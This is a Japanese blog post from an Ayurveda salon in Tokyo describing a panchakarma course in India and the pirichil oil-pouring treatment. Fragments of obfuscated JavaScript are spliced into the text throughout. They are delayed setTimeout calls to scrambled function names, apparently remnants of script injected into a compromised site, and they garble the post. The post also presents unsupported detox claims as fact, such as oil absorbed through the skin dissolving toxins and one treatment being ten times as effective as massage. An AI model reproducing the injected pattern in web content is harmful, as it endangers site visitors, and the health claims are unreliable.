パンチャカルマ第1回 ピリチリ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
「パンチャカルマ」とは・・・andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
時間をかけて体にたまった毒素を排出し、
浄化することを目的とした、アーユルヴェーダの治療法です。
体調を崩させ、病気の元ともなる様々な毒素や老廃物を出して
体が本来持っている治癒力を取り戻そうというもの。

アーユルヴェーダを知ってもらうために
私が実際に、アーユルヴェーダの本場・南インドで受けた
7日間のパンチャカルマの体験をつづりたいと思います。
インドで受ける、アーユルヴェーダの治療(施術)では、
まずアーユルヴェーダ医師の診察を受けます。
医師が、体質を診断し、過剰になっている性質などを判断した上で
体内にたまっている毒素や老廃物を排出できるように、
パンチャカルマのプログラムを考えてくれるわけです。
パンチャカルマの方法には、体質や体調に合わせて
様々な方法があるのですが、
私に組まれた、7日間のプログラムはこちら!
《1~3日目》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
 A.ピリチリ
 B.シローダラー
 C.ナスヤandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

《4~7日目》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
 D.ナバラキリ
 E.ダンニャムラダラー
 G.バスティandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

1日に3つの施術を受けるんですねー
エステで考えたら、すごい贅沢ですよねー
ちなみに、最初は2つのブロックの間に1日休みが入り、
そのときに下剤を飲むように処方されたんですが、
諸事情で下剤は日本に帰ってから飲むことになりました。
実は、この下剤もパンチャカルマの大事なプロセスなんですよ。
まあ、それはまた後日お話しするとして
さっそく前半のトリートメントから・・・
A.ピリチリとは…andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダの良くあるトリートメントの1つに
「アヴィヤンガ」と言う、オイルマッサージがあります。
このピリチリは、アヴィヤンガの10倍効果があると言う、
強力なトリートメントなのです。
その方法は、ハーブを煮出したオイルを温め、
30~40分ほど体にかけ続けると言うもの。
そう、ただただオイルをかけ続けるんです。

2リットル以上用意されたオイルは、その人専用のもの。
一度かけたオイルは回収して
ベットの脇で温めたオイルと混ぜて適温にし、またかける…
この作業を繰り返します。
その間、施術される方も前向きになったり、
横向きになったりと姿勢を変えます。
しかし!
一体これに、マッサージの10倍以上と言う、
効果が本当にあるのか!?って思いませんか?
だって、ただ「かける」だけですよ!?

でもそこに、アーユルヴェーダと西洋医学の違い、
1番面白いともいえる考え方があるんです。

アーユルヴェーダでは、
ハーブを煮出したオイルは薬と同じこと。
ですから、ピリチリは、その薬を全身にかけまくって
体表面全部から薬を吸収させようと言う施術
なんです。
そう、薬は飲むだけじゃないんですよー
実は、アヴィヤンガも、本来はマッサージと言うより、
「オイルを塗る」ことが重要なんです。
とは言え、使うオイルの量はわずか。
つまり、体の深層部までは届かないでしょう。
一方、ピリチリは、大量の薬用オイルを贅沢に使って
全身に浴びせ続けることで、
体の奥までオイルを浸透させることができるため、
アヴィヤンガの10倍きく!と言われるのです。
なぜなら、この体表面から浸透した薬用オイルが
体内の毒素を溶かし、排出すると言われているから。
そう、これで、デトックスになると言うわけ。
ちなみに、やられてる方の感想としては、
体が温まって気持ちいいし、汗もけっこう出ます。
そして、妙な浮遊感もあります。
私的には、これが一番きいたような気もするんですよね。
では 「シロダラー」は次回!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} 
その意外な効果にビックリ!
続く…
アーユルヴェーダサロンmanas 《マナス》

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